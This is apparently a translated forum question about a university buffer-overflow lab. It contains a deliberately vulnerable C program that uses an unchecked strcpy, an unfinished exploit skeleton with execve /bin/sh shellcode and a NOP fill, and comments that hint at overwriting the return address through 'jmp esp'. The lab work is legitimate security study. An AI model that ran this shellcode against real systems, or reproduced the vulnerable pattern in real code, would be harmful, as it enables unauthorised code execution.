Estoy trabajando en un proyecto en el que se supone que debo escribir un programa en C para aprovechar la vulnerabilidad de un programa determinado.Explotar un BufferOverflow
Aquí es el programa de C vulnerables:
#include <stdlib.h>
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Y aquí es el código para explotar:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh"/* pushl $0x68732f2f */
"\x68""/bin"/* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* Fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
Por lo tanto, necesidad de llenar el buffer con contenidos apropiados antes de guardarlo en el "ArchivoMalos ". He leído mucho sobre desbordamientos de búfer y creo que necesito modificar la dirección de retorno del programa vulnerable. Pero realmente no sé cómo se supone que debo hacerlo. ¿Debo buscar primero la dirección de devolución original o hay algo más que pueda hacer? Además, ¿alguna idea/sugerencia sobre cómo se supone que debo implementar el búfer?
Solo pensé en publicar el enlace a [el proyecto] (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/). – Mehrdad
Necesita averiguar el desplazamiento del búfer que terminará sobrescribiendo el puntero de retorno guardado, luego ajustar el valor en ese desplazamiento para apuntar a una instrucción que terminará ejecutando el resto del búfer (como un 'jmp esp') –
Si el proyecto es para [escuela] (http://meta.stackexchange.com/q/10811/133817), menciónelo explícitamente. Las preguntas sobre SO deben estar más dirigidas a su propio código que este (consulte el enlace para obtener más información); si ni siquiera está seguro de por dónde empezar, sería mejor preguntarle a su maestro o a la AT. Eso es algo que deberían haber cubierto en clase o en su material. – outis